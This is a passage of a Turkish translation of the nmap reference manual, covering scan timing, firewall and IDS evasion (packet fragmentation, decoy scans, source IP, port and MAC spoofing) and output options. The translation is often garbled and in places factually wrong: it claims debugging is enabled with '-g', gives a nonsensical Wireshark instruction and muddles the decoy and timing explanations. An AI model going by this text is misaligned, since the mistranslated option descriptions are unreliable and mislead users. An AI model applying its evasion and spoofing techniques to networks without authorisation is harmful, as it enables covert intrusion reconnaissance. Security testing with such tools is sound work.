Eğer en çok sunucu sayısı belirtilmişse nmap bu sayıyı aşmaz.<br />
Eğer en az sunucu sayısı büyük verilirse nmap daha hızlı sonuç<br />
üretebilir.<br />
Bu seçenek sunucu belirleme taramasında etkin değildir.<br />
--min-parallelism ;<br />
--max-parallelism (paralel mesaj ayarları)<br />
Bu seçenekler hem kapı hem de sunucu belirlemede bir grup için<br />
paralele gönderilecek mesaj saysını tanımlar. Aslında nmap paralel<br />
mesaj sayısını ağın ve sunucuların durumuna göre dinamik ayarlar.<br />
Eğer nmap mesajların kaybolduğunu anlarsa hemen hızı azaltır.<br />
En çok kullanılanı en az paralel işlem sayısıdır. Özellikle zayıf yanıt<br />
veren sunucuların bulunduğu gruplarda hızı arttırmak için gerekir.<br />
En büyük paralel işlem sayısı, bazen aynı sunucuya birden çok aynı<br />
mesajı göndermeyi engellemek için gerekir.
--min-rtt-timeout ,<br />
--max-rtt-timeout ,<br />
--initial-rtt-timeout (Adjust probe timeouts)<br />
nmap bir mesaja ne kadar süreyle yanıt bekleyeceğini bilmelidir.<br />
Bekleme ne kadar uzarsa, verimlilik o kadar düşer. Aslında nmap<br />
önceki bekleme sürelerine göre olası bekleme süresini dinamik olarak<br />
hesaplar. Eğer ağda bekleme fazlaysa hesaplanan süre bir kaç<br />
saniyeye kadar uzar. İnitial-rtt-timeout ve max-rtt-timeout küçük<br />
olursa varsayılan bekleme süreleri oldukça azalır.<br />
Eğer tüm sunucular yerel ağ üzerindeyse –max-rtt-timeout 100ms<br />
olarak belirlenebilir. --min-rtt-timeout çok az kullanılır. Ancak ağ çok<br />
değişken özellik gösterip nmap tarafından bile taranmakta zorlanılırsa<br />
bir değer verilmesi gerekebilir.<br />
--max-retries <br />
(En çok kapı tarama mesajı gönderme sayısı)<br />
Eğer nmap bir kapıda gönderilen mesaj için yanıt almamışsa, ya poty<br />
elenmiştir ya da mesaj ağ içinde kaybolmuştur. Yeniden gönderilmesi<br />
söz konusudur. Bu seçenekte yeniden gönderilecek mesajların sayısı<br />
bildirilir.<br />
--host-timeout (Yavaş hedef sunucularda vazgeçme süresi)<br />
Bazı sunucuları taramaz uzun zaman alır. Bunun nedenleri arasında<br />
ağda belirsizlik, uygun olmayan sunucu ve donanım bulunabilir.<br />
Sonunda bu seçeneği beklenecek en uzun süre olarak tanımlarsanız.<br />
Sunucuyu beklerken çok zaman kaybedilmemiş olunur.<br />
--scan-delay ;<br />
--max-scan-delay (mesaj aralarındaki süreyi ayarlamak)<br />
Sunucuya gönderilen mesajlar arasında bu seçenekte belirtilen kadar<br />
süre bırakılır. Solaris bir çok diğer makineler gibi gelen bir mesaja her<br />
saniye verdiği ICMP paketleriyle yanıt verir. Bu tür sunucularda<br />
bekleme zamanı alınacak yanıttan daha kısa olursa, yanıt alınmadan<br />
üst üste mesajlar gönderilmiş olunur.
Hız limitiyle bekleme süresi dengesi kurulduğunda tarama belirgin bir<br />
biçimde yavaşlar. Bu durumda –max-scan-delay seçeneği nmap için<br />
bir üst limit tanımlanmasına yardımcı olur.<br />
--scan-delay seçeneğinin diğer bir kullanım biçimi alt sınır tabanlı<br />
sızıntıları yakalamaktır (IDS/IPS). Bu teknik<br />
http://nmap.org/book/firewalls.html#defeating-ids-snort-portscan adlı<br />
sayfada homurdayan IDS için varsayılan kapı taramasını engelleyeni<br />
yenmiştir. Aynı biçimde bir çok sistemde sızma yerini arayan<br />
yenilebilir.<br />
--min-rate ;<br />
--max-rate (tarama hızını doğrudan kontrol etme)<br />
nmap dinamik zamanlama yöntemi aslında tarama için en uygun<br />
zamanı bulabilmektedir. Bazen ağ için de en uygun hız bilinmek<br />
istenebilir, ya da taramanın belli bir zamana değin bitmesi istenebilir.<br />
İşte –min-rate ve –max-rate bu amaç için tasarlanmıştır.<br />
Eğer –min-rate verilmişse nmap taramada kullanılan mesajları bu hız<br />
ölçüsünde gönderir. Diğeri (--max-rate) kullanılacak hızın daha fazla<br />
olmamasını sağlar.<br />
Hızlı bir ağ ortamında –max-rate 100 saniyede 100 mesaj<br />
gönderilmesine göre limitler. --max-rate 0.1 olursa her mesaj 10<br />
saniyede bir gönderilecek demektir.<br />
Bu değerler geneldir. Tüm tarama işlemini etkiler, yalnız bir sunucuya<br />
bağlı değildir.<br />
--defeat-rst-ratelimit<br />
Bir çok sunucu için uzun hız limitleri kullanılır. Amaç ICMP mesajlarının<br />
sayısını azaltmaktır (örneğin kapıya erişilemiyor türü mesajlar). Bazı<br />
sistemlerde RST (reset) mesajları için aynı şey yapılabilir. Nmap için bu<br />
mesajları dikkate alma demek buradaki seçeneği kullanarak olur.
--nsock-engine epoll|kqueue|poll|select<br />
Bu seçenekle nsock IO çoğaltmalı makinesinin kullanımı<br />
zorlanmaktadır. Yalnız select(2) tabanlı geri düşüş makinesinin var<br />
olduğu garanti edilir. Makineler IO yönetimiyle adlandırılırlar. Buradaki<br />
makinelerin adları şöyledir: epoll, kqueue, poll ve select. Tüm<br />
ortamlarda hepsi var denemez. Hangi makinelerin desteklendiğini<br />
görmek için nmap -V komutunu kullanmak gerekir.<br />
-T paranoid|sneaky|polite|normal|aggressive|insane<br />
(Zaman kalıbı hazırlama)<br />
Tartışılan zaman kontrolleri güçlü ve etkin olsa da bir çok insan<br />
bunların kafa karıştırıcı olduğu söylemektedir. Bazen bu süreleri<br />
ayarlamak için geçen zaman sizin yapmak istediğiniz işten daha çok<br />
zaman alabilir.<br />
Bu nedenle nmap 6 adet zaman çizelgesi sunar. Bunları -T seçeneği ile<br />
tanımlayabilirsiniz. Adları 0-5 arasında değişen numaralardır. Bu<br />
kalıplara paranoid-şüpheci(0), sneaky-yılanımsı(1), polite-kibar(2),<br />
normal-normal(3), aggressive-agresif(4) ve insane-acımasız(5) denir.<br />
İlk üçü IDS kaçamaklarıdır, kibar konumda nasıl scan yapılacağı<br />
gösterilir, normal konumda -T3 kullanılır. Agresif konumda hızlı bir<br />
ağda olduğunuz varsayılır. Son konumda sizin beklenenin üzerinde bir<br />
hızınız olduğu varsayılır.<br />
Güvenlik kalkanı/IDS kaçamakları ve gizlenme (spoofing)<br />
Bir çok Internet öncüsü herhangi iki düğüm arasında Sanal bağlantı kurarak<br />
evrensel IP adres uzayıyla geniş çaplı kaçamak bağlantı kurarlar. Bu<br />
sunucuların gerçek uç olmalarını ve aralarında bilgi paylaşımı yapmalarını<br />
sağlar. İnsanlar evdeki sistemlerine işten erişip iklim denetim ayarlarını<br />
değiştirebilirler ve kendisinden önce gelecek misafirlere kapıyı bile<br />
açtırabilirler. Bu tür bağlantı güvenlik ve adres uzayı sınırlamaları nedeniyle<br />
bastırıldı. 1990'larda kurumlar güvenlik kalkanları kullanmaya başladılar.<br />
Rahat yaşam kalktı, sınırsız bilgi akışı yerini onaylanmış kanalların iletişimine<br />
bıraktı.<br />
Bir ağı inceleyip haritasını çıkartmak güvenlik kalkanları yüzünden<br />
neredeyse imkansız hale geldi. Bundan daha kolay hiç olmayacak. Ama<br />
nmap o kadar çok özellik sunuyor ki bu ağları izlenebilir hale getirmek (bir<br />
ölçüde) söz konusu olabiliyor. Hatta elemelerin istendiği gibi çalıştığı da<br />
anlaşılabiliyor.
Ağ güvenliğinizin doğru çalışmadığını anlamanın en güzel yolu onu<br />
yıkmaktır. Kendinizi saldırganın aklında olanlara odaklı ve kullanabileceği<br />
tekniklerle saldırmaya başlayın. FTP geri tepme taraması başlatın,<br />
parçalanmış saldırı yapın ya da kendi proxy'leriniz üzerinden tünelleme<br />
yapın.<br />
Ağ erişimini sınırlamaya ek olarak firmalar sızıntı yakalama sistemleriyle<br />
(IDS gibi) ağlarındaki trafiği izlemektedirler. Bu ürünleri bir çoğu artık sızıntı<br />
önleme sistemine (IPS) dönüştüler bile. Maalesef ağ yöneticileri ve IDS<br />
satıcıları için bozuk paketleri yakalamak zor bir iştir. Sabırlı saldırganlar,<br />
becerileri ve bazı nmap seçeneklerini kullanarak IDS'leri fark edilmeden<br />
geçerler. Pek çok örnekte yöneticiler yanlış bulunan sonuçlarla alarm verilen<br />
ya da bloklanan gerçek uygulamalarla karşılaşabilirler.<br />
Bir çok kez nmap güvenlik kalkanını kıran özellikler sunmamalı, IDS'lerin<br />
arasından yılanca sızan yöntemler çıkartmamalı derler. Güvenliği geliştiren<br />
yöneticiler kadar saldırganlar da bu araçları kullanabilir derler. Burada sorun<br />
bu araçları saldırganların zaten kullanacakları, nmap olmasa da başka<br />
araçlarla ya da kendi geliştirdikleri yöntemlerle sonuca ulaşacaklarıdır. O<br />
zaman yöneticiler işlerini daha zor yapacak, sistemin nasıl delindiğini bile<br />
anlayamayacaklardır. Örneğin hatası giderilmiş bir FTP servisi, FTP<br />
tepmesiyle çalışan ve güvenlik kalkanıyla durdurulmaya çalışılan bir<br />
servisten her zaman daha kullanışlıdır.<br />
IDS sistemlerini ya da güvenlik kalkanını yıkmaya çalışanı engelleyecek bir<br />
nmap sihirli mermisi yoktur.<br />
-f (fragment packets); --mtu (belirtilen MTU kullanılarak)<br />
Bu seçenekteki tarama isteği (ping taraması da dahil) parçalanmış IP<br />
paketleri kullanır. Buradaki amaç TCP başlığını paketler bölüp, paket<br />
elemelerinin, sizi izleyenlerin anlayamayacağı mesaj oluşturmaktır.<br />
Eski okul sniffer programlarından olan sniffit bu tür ilk paketi alınca<br />
dump (döküm) verir. Bunu bir kez belirtince, nmap paketleri 8 bayt ya<br />
da daha küçük IP başlıklarına böler. Böylece 20 baytlık IP başlığı üç<br />
pakete dağılır. Tabi ki her parçanın kendi IP başlığı da vardır. -f<br />
seçeneğini her parçada 16 bayt başlık kullanacak biçimde<br />
tanımlayabilirsiniz (parça sayısını azaltmak için). Ya da başlangıcınızı<br />
-mtu ile değiştirebilirsiniz. Eğer –mtu kullandıysanız bir daha -f<br />
kullanmanız gerekmez. Başlangıç her zaman sekizin katları olmalıdır.<br />
Parçalanmış paketler paket elemeleri ve tüm parçaları birleştiren<br />
güvenlik kalkanları tarafından
yakalanamayınca, bazı ağlar oluşan verimlilik sorununu geçmek için<br />
paketleri bırakırlar. Diğerleri bunları bırakmazlar. Çünkü parçalar kendi<br />
ağlarında değişik yollara gidebilirler. Bazı kaynaklar çıkan paketleri<br />
parçalamayı daha kernel düzeyinde yaparlar. Linux (iptables ile) bu tür<br />
sistemlerden biridir. Eğer Wireshark adlı sniffer (koklayıcı) program<br />
varsa paketlerinizi parçalamayı unutmayın. Eğer sizin işletim<br />
sisteminiz sorun çıkarıyorsa “--send-eth” seçeneğini kullanarak IP<br />
katmanını kaldırıp ham ethernet parçaları göndermeye başlayın.<br />
Parçalama nmap ham paket özelliği için desteklenmektedir. TCP ve<br />
UDP kapı taraması (connect taraması ve FTP geri tepmesi buna dahil<br />
değildir) ve işletim sistemi belirleme bu kapsama girer.<br />
-D [,][,ME][,...] (Tuzaklarla taramayı perdelemek)<br />
Tuzak taraması yapılmasını sağlar. Hedef sunucuya da bu işlemde<br />
belirtilen sunucularda tuzak olduğu ve ağda tuzak araması yapıldığı<br />
benzeri bir durum meydana gelir. Böylece o sunucuların IDS'leri 5-10<br />
kapı taramasından bazı IP'lerin kapı taraması yaptığı ama hangisinden<br />
olduğunu anlayamadıklarını bildirir. Bunu yenmek için route yolunu<br />
izleme, yanıt-düşürme (response-dropping) ve diğer aktif işlemlerle<br />
yenilebilir. Bu IP adresinizi saklamak kadar önemli ve kullanışlıdır.<br />
Tuzak sunucular virgülle ayrılır. Kendi gerçek IP adresinizi gösteren<br />
ME'yi tuzaklardan biri olarak da belirtebilirsiniz. Eğer ME'yi altıncı<br />
pozisyona ya da sonrasına koyarsanız, bazı kapı taramasını yakalayan<br />
araçlar (Solaris'deki Scanlogd gibi), sizin IP adresinizi gösteremezler.<br />
Eğer ME kullanmazsanız nmap sizi rastgele bir pozisyona yerleştirir.<br />
RND de kullanabilirsiniz. RND rastgele çözümlenemeyecek IP adresleri<br />
üretir. Ya da doğrudan “RND: ” ile kadar adres<br />
üretebilirsiniz.<br />
Dikkat edilecek şey sizin tuzak olarak tanımladığınız sunucular<br />
çalışıyor olmalı ya da hedefinize kaza ile SYN akını yapmalıdır. Tabi ki<br />
sunuculardan ancak biri ağ içinde çalışır durumdaysa hangi sunucunun<br />
taramayı yaptığını bilmek kolay olur. Adlar yerine IP adreslerini<br />
kullanmak isterseniz tuzak sunucular sizi kendi nameserver (ad<br />
sunucu) kayıtlarında göremezler.
Tuzaklar ilk ping taramasında (ICMP, SYN, ACK vb.) ve gerçek kapı<br />
tarama adımında kullanılır. Tuzaklar hedefin işletim sistemini<br />
belirlerken (-O) de kullanılır. Tuzaklar sürüm belirleme ve TCP connect<br />
taramasında kullanılamaz. Eğer tarama beklemesi (scan delay)<br />
devredeyse, bekleme gizlenen mesajlar topluluğunun arasında<br />
kullanılır. Çünkü batch topluca gönderildiğinden bekleme sınırlarını<br />
zorlayabilirler.<br />
Not almaya değer bir konu da çok fazla tuzak kullanmak kedi<br />
taramanızı yavaşlatır ve doğan olarak daha az doğru sonuç<br />
oluşmasına neden olabilir. Bazı ISS (Internet servis sağlayıcılar) sizin<br />
gizlenmiş paketlerinizi eleyebilir. Ama bir çoğu gizlenmiş IP paketlerini<br />
kontrol edemez bile.<br />
-S (Kaynak adresini gizlemek)<br />
Bazı durumlarda nmap sizin kaynak IP adresinizi saptayamayabilir<br />
(nmap bu durumu size bildirir). Bu durumda “-S” seçeneği ile hangi<br />
arayüzün hangi IP numarasını kullandığınızı bildirmeniz gerekebilir.<br />
Bu seçeneğin bir başka kullanılabilecek özelliği, IP numarasını<br />
gizlemektir. Hedef kendilerini bir başkasının taradığını sanır. Bu tür<br />
kullanım için -e ve -Pn seçenekleri de gerekir. Unutmayın ki artık size<br />
yanıt gelmeyecektir. Yanıtlar gizlendiğiniz IP'ye gider. Yani nmap<br />
kullanılabilir raporlar üretemez.<br />
-e (Kullanıcının belirlediği arayüz)<br />
Bu seçenekle nmap'in hangi arayüzü kullanacağı belirtilmiş olur.<br />
Kullanamazsa size bildirir.<br />
--source-port ;<br />
-g (Kaynak kapı numarasını gizlemek)<br />
Hayretle izlenen ortak hata ağ trafiğine yalnız kaynağın kapısına bağlı<br />
kalınmasıdır. Sorunlara güvenli yaklaşım, uygulama düzeyinde<br />
proxy'ler ya da protokol tarayan güvenlik kalkanları olabilir. Tabi ki<br />
daha kolay ve güvenli olmayan çözümler de vardır. Tüm DSN komutları<br />
53 nolu kapıdan, ftp komutları 20 nolu kapıdan gelir. Bir çok güvenlik<br />
yöneticisi bu kapılardan gelecek mesajlara kapılarını açarlar. Bu<br />
kapıların saldırganlar tarafından bulunmayacağını sanırlar.
Yalnız çok çalışan yöneticiler bu tuzağa düşmezler. Pek çok sunucu<br />
kuruluşunda bu açık zaten vardır. Microsoft bile bu konuda suçludur.<br />
Örneği 88 nolu kapıya (Kerberos) gelen tüm TCP ve UDP mesajlarına<br />
izin verilir (windows-2000 ve windows-xp). Ya da kişisel güvenlik<br />
kalkanlarında dışarıdan 53 (DNS) ya da 67 (DHCP) kapılarına gelen<br />
mesajlara izin verilmesidir.<br />
Bu zayıf noktayı saptamak için Nmap hem -g hem de –source-port<br />
seçeneklerini sunmaktadır. Amaç nmap tarafından paketlerin belirtilen<br />
kapıdan gönderilmesidir. Bir çok tarama işleminde kullanılan ham<br />
paketlerde bu seçenek desteklenmektedir.<br />
--data-length (gönderilen paketlere rastgele veri eklemek)<br />
Normal koşullarda nmap yalnız paket başlığı olan en küçük paketler<br />
gönderir (TCP paketleri 40 bayt, ICMP yankı yanıtları ise 28 bayt olur).<br />
Bazı UDP kapıları ve IP protokolleri varsayılan olarak alışılagelen<br />
yükleri vardır. Bu seçenekle nmap programına pakete verilen<br />
uzunlukta rastgele bilgi içeren ek yapılması görevi verilir. “-O”<br />
seçeneğiyle yapılan işletim sistemi belirleme bundan etkilenmez. Bu<br />
seçenek doğal olarak hızı biraz etkiler.<br />
--ip-options ;<br />
--ip-options (belirtilen IP seçenekleriyle veri göndermek)<br />
IP protokolü paket başlığına eklenecek bir kaç seçenek sunar. TCP'ye<br />
orakla IP seçenekleri pek kullanılmaz. Nedeni bu konuda güvenliğin<br />
sağlanmış olmasındandır. Zaten bir çok Internet router cihazı kaynak<br />
yönlendirmesi gibi tehlikeli seçenekleri engellemektedir. Hedef<br />
sunucuya ağ yönlendirmesini saptamak gibi konularda hala bazı<br />
yararlı işlemler yapılabilir.<br />
Bu konuda daha neler yapılabileceğini görmek için<br />
http://seclists.org/nmap-dev/2006/q3/52 web sayfasına bakabilirsiniz<br />
--ttl (IP için bırakmanın zamanıdır bilgi alanı)<br />
IPv4 zaman aşımı süresini belirtmek için kullanılır.
--randomize-hosts (hedef sunucu sırasını rastgele karıştırmak)<br />
nmap programına içinde 16384 kadar sunucu bulunan grupların<br />
sunucu sıralarını tarama başlamadan karıştırmasını bildirir. Böylece<br />
bazı ağ yönetim sistemlerine karışık tarama sistematik tarama gibi<br />
gözükmek. Bir başka çözüm ise hedef sunucu IP listesini tarama<br />
listesinden yararlanarak elde etmek (-sL -n -oN ) ve bir<br />
Perl programıyla karıştırmaktır. Daha sonra tüm liste nmap programına<br />
-iL ile sunulur.<br />
--spoof-mac <br />
(MAC adresini gizlemek)<br />
Bu seçenekle nmap programına gönderdiği tüm raw ethernet<br />
parçalarında MAC adres olarak burada yazılanı kullanması söylenir. Bu<br />
seçenek “--send-eth” seçeneğini ima eder. Ver,len MAC bir çok kalıpta<br />
olabilir. Eğer yalnız 0 girilmişse nmap oturum için tümüyle rastgele bir<br />
MAC adresi seçer. Eğer yazılan onaltılı sayılarsa aralarında ':' bulunur.<br />
Eğer 12'den az bayt yazılırsa nmap arkasını rastgele sayılarla doldurur.<br />
Nmap olası çakışmaları önlemek, üretici firma çelişkilerini kaldırmak<br />
için gereken düzeltmeleri kendisi yapar.<br />
--badsum (kontrol toplamı bozuk TCP/UDP paketleri gönderme)<br />
Burada amaç TCP, UDP ve SCTP kontrol toplamlarını (checksum) hatalı<br />
girmektir. Genelde tüm IP yığınları (stack) bu tür paketleri hemen siler<br />
ama gelecek bir yanıt olursa da ya güvenlik kalkanından ya da<br />
IDS'dendir. Ayrıntılar için http://nmap.org/p60-12.html adresine<br />
bakabilirsiniz.<br />
--adler32 (SCTP için CRSC32C yerine artık kullanılmayan Adler32 kullan)<br />
Bu seçenekle SCTP kontrol toplamı için eski Adler32 algoritması<br />
kullanılması nmap programına iletilir. Burada amaç eski yöntemle<br />
üretilen kontrol toplamına sistemlerin nasıl yanıt verdiğinin<br />
bulunmasıdır.<br />
Çıktılar<br />
Her hangi bir güvenlik aracı ürettiği çıktıların anlaşılabilirliği ve çokluğuyla<br />
değer kazanır. Karmaşık deney ve algoritmaların değeri öyle çok değildir.<br />
Nmap kullanıcıları, ve bunu çağıran diğer yazılımlar göz önüne alındığında<br />
tek kalıptan çıkan bir rapor kimseyi mutlu etmeyecektir. Bu nedenle nmap<br />
bir çok kalıp sunar. Bunların arasında insanlar için etkileşimli konumda ve<br />
XML kalıplarında üretilen çıktı biçimleri de vardır.
Değişik çıktı kalıplarına ek olarak nmap çıktılardaki ayrıntıların kontrolünü ve<br />
denemelerde kullanılan açıklamaları da kullanıcıya sunar. Çıktılar yazıcıya<br />
gönderilebileceği gibi adlandırılan bir dosyaya da taşınabilir. Çıktı dosyaları<br />
çalışamayan dump eden oturumlarda sorunu anlamak için de kullanılır.<br />
Nmap çıktıları beş değişik kalıpta hazırlar. Varsayılanı etkileşimli çıktıdır ve<br />
terminale gönderilir. Normal çıktı da vardır. Etkileşimliye benzer terminale<br />
gönderilir ama daha az çalışma zamanı bilgisi ve uyarıları içerir.<br />
XML çıktısı en önemli çıktı kalıplarından biridir. HTML'e çevrilebilir,<br />
programlar tarafından kolaylıkla çözümlenebilir ve grafik arayüzü kullanan<br />
programlarla kullanılabilir ve veri tabanına taşınabilir.<br />
Geride kalan iki çıktı biçimi “grep” ile kullanılabilecek çoğu hedef sunucuya<br />
ait çıktılar ve kendilerini
Nmap Çıktı Kalıpları<br />
-oN (normal çıktı)<br />
Normal çıktı belirtilen dosya adına taşınır.<br />
-oX (XML çıktısı)<br />
Burada XML çıktısının doğrudan bir dosyaya yazılması<br />
istenmektedir. Nmap XML ile birlikte Doküman tipi tanımı (DTD)<br />
de hazırlar. Böylece XML çözümleyen program nmap XML<br />
çıktısının geçerliliğini kontrol edebilir. En son sürüm her zaman<br />
https://svn.nmap.org/nmap/docs/nmap.dtd adresinden<br />
sağlanabilir.<br />
XML değişmez bir kalıp hazırlar. Bunun gramerinin programla<br />
incelenmesi her zaman kolaydır. XML dil bilimi (grammer)<br />
incelemesi birçok programlama dili için ücretsiz olarak vardır.<br />
Nmap çıktılarında XML tüm uygulamalar için en kullanışlı kalıptır.<br />
XML çıktısı HTML olarak kullanılabilecek XSL stil sayfaları da<br />
üretir. Bunun en kolay yolu XML çıktısını Firefox ya da IE gibi bir<br />
tarayıcıya yüklemektir. Varsayılan olarak bu yöntem nmap'in<br />
çalıştırıldığı sunucu için geçerlidir. “--webxml” ya da<br />
“--stylesheet” seçenekleri taşınabilir XML dosyaları üretmek için<br />
gereklidir. Bunlar taşındıkları yerde HTML olarak görünebilirler.<br />
-oS (ScRipT KIdd|3 çıktısı)<br />
Bu çıktı aynı etkileşimli çıktı gibidir. Yazımı ve diğer özellikleriyle<br />
eğlenceye dönük bir çalışmadır.<br />
-oG (grep ile içindekiler aranabilecek çıktı)<br />
Bu çıktı biçimi en son ele alındı çünkü artık kullanılmamaktadır.<br />
XML biçimi buna göre çok daha kullanışlıdır.<br />
-oA (Her tür kalıba uygun çıktılar)<br />
Bu biçimde tanım yapıldığında kalıbın türüne göre dosya adı<br />
.xml, .nmap gibi adlar<br />
alır..
Ayrıtılar ve onarım çıktısı seçenekleri<br />
-v (ayrıntı düzeyini yükselt) , -v<br />
Ayrıntı düzeyini yükseltmek için kullanılır. Böylece tarama<br />
hakkında daha geniş bilginin yazılması sağlanır. Bulunan açık<br />
kapılar gösterilir, nmap tarama uzun sürecekse (dakikalar<br />
düzeyinde) tamamlanma süresi bildirilir. Daha çok ayrıntı için bir<br />
kez daha kullanılabilir. Örnek “-v3”.<br />
Bir çok değişiklik yalnız etkileşimli çıktıyı etkiler. Diğer çıktılar<br />
daha çok makineler için olduğundan varsayılan olarak gereken<br />
ayrıntı zaten verilmiştir. Bazı ayrıntılar istenirse yazdırılır.<br />
Örneğin grep çıktısında taranan kapılara ilişkin açıklama ancak<br />
istenirse eklenir, çünkü gereğinden çok daha uzun olabilir. Diğer<br />
çıktılarda yapılacak bir kaç değişiklikle ayrıntılar atlanarak çıktı<br />
boyu kısaltılabilir.<br />
-d (onarımların düzeyini yükselt) , -d<br />
Ayrıntılar size hala istenilen bilgiyi sağlayamamışsa, onarımlarda<br />
kullanılan çıktıların düzeyini yükselterek daha fazla bilgi sahibi<br />
olabilirsiniz. Bu seçenek “-g” ile etkinleştirilir. Ayrıca onarım<br />
düzeyini “-d” seçeneği, büyüterek daha fazla bilgi edinebilirsiniz.<br />
--reason (Sunucu ve kapı durumu)<br />
Her kapının neden belirgin bir konumda olduğu ve sistemin<br />
neden çalışır ya da kapalı olduğu bu seçenekle gösterilir. Bu<br />
seçenek sunucu ya da kapının durumunu gösteren paketi<br />
yazdırır. Kapalı kapıdan gelen bir RST paketi ya da canlı bir<br />
kapıdan gelen yankı yanıtı bu tür paketlerdir. Nmap tarafından<br />
verilen bilgi tarama mı yoksa ping işlemi mi olduğuna göre<br />
değişir. Onarım seçeneği başlatılınca bu otomatik olarak<br />
etkinleştirilir. Sonuçlar XML dosyasına yazılır.<br />
--stats-every (periyodik zaman durumlarını yaz)<br />
Belirtilen zaman aralığı sonunda zamanlama durum<br />
mesajı yazdırı. Örneğin “--stats-every 10s” seçeneği her 10<br />
saniyede durum güncellemesi yapılıp yazdırılması anlamına<br />
gelir.
--packet-trace (Paketleri, gönderilen verileri ve alınanları izle)<br />
Nmap her gönderilen ve alınan paket bir özetini yazdırır. Binlerce<br />
satır yazdırmak yerine “-p20-30” seçeneğinde olduğu gibi<br />
seçilen kapılara ilişkin özet bilgiyle yetinmek isteyebilirsiniz.<br />
Yalnız sürüm belirlemeyle ilgili izleme için “--version-trace”<br />
seçeneğini kullanabilirsiniz. Kullanılan programları izlemek için<br />
“--script trace” kullanılırken “--paket-trace” hepsini içerir.<br />
--open (Yalnız açık ya da açık olabilecek kapıları göster)<br />
Bazı koşullarda siz yalnız bağlanabileceğiniz kapılarla<br />
ilgilenirsiniz. Kapalılar, kapalı|elemeliler ve elemelilerin sonuçları<br />
sizi ilgilendirmez. İsteklere göre çıktı taraması grep, awk ve Perl<br />
sonrasında yapılır. Ancak bu özellikler istek üzerine eklenmiştir.<br />
“--open” kullanıldığında açık, açık|elemeli, ya da elemesiz<br />
kapıların yazılması istenir.<br />
--iflist (arayüzleri ve route (yönlendirme) listeleri)<br />
Nmap tarafından saptanan arayüzleri ve yönlendirmeleri<br />
yazdırır. Bu yönlendirme sorunlarını düzeltmek için kullanılabilir.<br />
Diğer çıktı Seçenekleri<br />
--append-output (Çıktıları dosyaya ekle)<br />
Bir çıktı için dosya_adı tanımlamışsanız (-oX ya da -oN gibi), o<br />
dosyanın varsayılan olarak üzerine yazılır, eski bilgiler silinir. Eski<br />
bilgileri saklamak isterseniz “--append-output” seçeneğini<br />
kullanırsınız. Ancak bu işlem XML dosyası için çok güzel<br />
çalışmaz. Sonunda çıkan dosyayı elinizle düzeltmeden programla<br />
taranıp anlamlı sonuç elde edilmesi olanaksız olur.<br />
--resume (Dump eden taramayı durdur)<br />
Bazı Nmap çalışmaları günlerce sürebilir. Bunlar her zaman son<br />
bulmaz da. Sınırlamalar nmap programının iş saatlerinde<br />
çalışmasını engelleyebilir. Ağ işlemez duruma gelebilir. Beklenen<br />
ya da beklenmeyen yeniden başlatmalar (reboot) olabilir. Ctrl-C<br />
tuşlarına basıp tüm taramayı baştan başlatmak söz konusu<br />
olabilir. Eğer “--resume” seçeneği kullanılır ve dosya adı olarak<br />
normal/grep dosyalarından birinin adı verilirse nmap kaldığı<br />
yerden taramaya devam edebilir. Yeni bulunan sonuçlar da bu<br />
dosyanın arkasına eklenir.
--stylesheet <br />
(Set XSL stylesheet to transform XML output)<br />
Nmap XML çıktılarını HTML olarak görüntülenmesi için nmap.xsl<br />
dosyasıyla birlikte gönderilir. XML çıktısı içinde xml stil sayfaları<br />
komutları bulunur ve nmap.xml dosyasını gösterir. XSLT<br />
işlemciyle (xlstproc gibi) XML dosyası çalıştırıldığında HTML<br />
dosyası elde edilir. XML dosyasının doğrudan web tarayıcı altında<br />
açılması artık düzgün çalışmamaktadır. Eğer farklı stil sayfaları<br />
kullanılacaksa “--stylesheet” seçeneği ile tanımlanabilir. Örneğin<br />
“--stylesheet http://nmap.org/svn/docs/nmap.xsl”. Aynı işlem “--<br />
webxml” seçeneğiyle de yapılabilir. Eğer URL adresinden XSL<br />
alınırsa, üzerinde nmap olmayan sunucuda da HTML dosyası<br />
elde edilebilir.<br />
--webxml (Yazma stillerini Nmap.Org sitesinden indir)<br />
“--stylesheet” seçeneğiyle aynıdır.<br />
--no-stylesheet (XML içinde XSL stillerini görme)<br />
Nmap programının XSL üretmemesi için kullanılır.<br />
Diğer Seçenekler<br />
Önemli ya da önemsiz ama hiç bir yere uymayan seçenekler burada<br />
anlatılmıştır.<br />
-6 (IPv6 taramasını etkinleştir)<br />
Nmap'in en ünlü seçenlerinden biri IPv6 desteği olmasıdır. Ping ve kapı<br />
taramada, sürüm belirlemede ve nmap program makinesinde IPv6<br />
desteği vardır. Genel dil kuralı diğer seçeneklerde aynen kullanılır ama<br />
ek olarak “-6” seçeneği de yazılmalıdır. Eğer sunucu adı yerine<br />
adresini yazacak olursanız burada IPv6 standardı kullanmanız<br />
gerekecektir. Önerilen sunucu adının kullanılmasıdır çünkü IPv6 adresi<br />
3ffe:7501:4819:2000:210:f3ff:fe03:14d0 gibidir. Çıktı da benzerdir<br />
ama ilgilenen kapı adresleri IPV6 türündendir.
Şu anda IPv6 adreslemesi pek kullanılıyor görünmese de bazı ülkelerde<br />
etkinliği artmakta, yeni işlem sistemlerince desteklenmesi<br />
sürmektedir. Nmap tarafından kullanılabilmesi için hem hedef hem de<br />
kaynak <strong>bilgisayar</strong>lar IPv6 için ayarlanmış olmalıdır. Eğer ISS sizin için<br />
bir IPV6 ataması yapmamışsa, ücretsiz tünel sunanlar her tarafta<br />
varlar ve nmap ile kolaylıkla çalışırlar. Ücretsiz IPv6 tünel sağlayıcıları<br />
için http://www.tunnelbroker.net/ adresine bakın.<br />
Windows ortamında IPV6 taraması ethernet cihazlarında<br />
desteklenmektedir (tüneller kullanılamaz).<br />
-A (agresif tarama seçenekleri)<br />
Bu seçenek ek agresif ve gelişmiş seçenekleri etkinleştirir. Şu anda bu<br />
seçenekle işletim sistemi tanımlama (-O), sürüm belirleme (-sV),<br />
program tarama (-sC) ve “traceroute” bu seçeneğe eklenebilir.<br />
Gelecekte başka özellikler de eklenebilir. Önemli olan insanların bir<br />
çok parametreyi kullanmak için ezberlemesine gerek olmadan bu<br />
seçenekleri kullanabilmeleridir. “-A” seçeneğini hedef ağlarda izin<br />
almadan kullanmak doğru olmayabilir. “-T4 ve -V” seçenekleriyle<br />
beraber kullanılması da doğru değildir.<br />
--datadir (Nmap veri dosyası yolunu tanımlama)<br />
Nmap çalışırken bazı özel veriler kullanır. Bunlara nmap-servismesajları<br />
(nmap-service-probes), nmap-servisleri (nmap-services),<br />
nmap-protokolleri (nmap-protokols), nmap-rpc, nmap-mac-prefixes ve<br />
nmap-os-db. Eğer bu dosyaların yeri “--servicedb” ya da “–versiondb”<br />
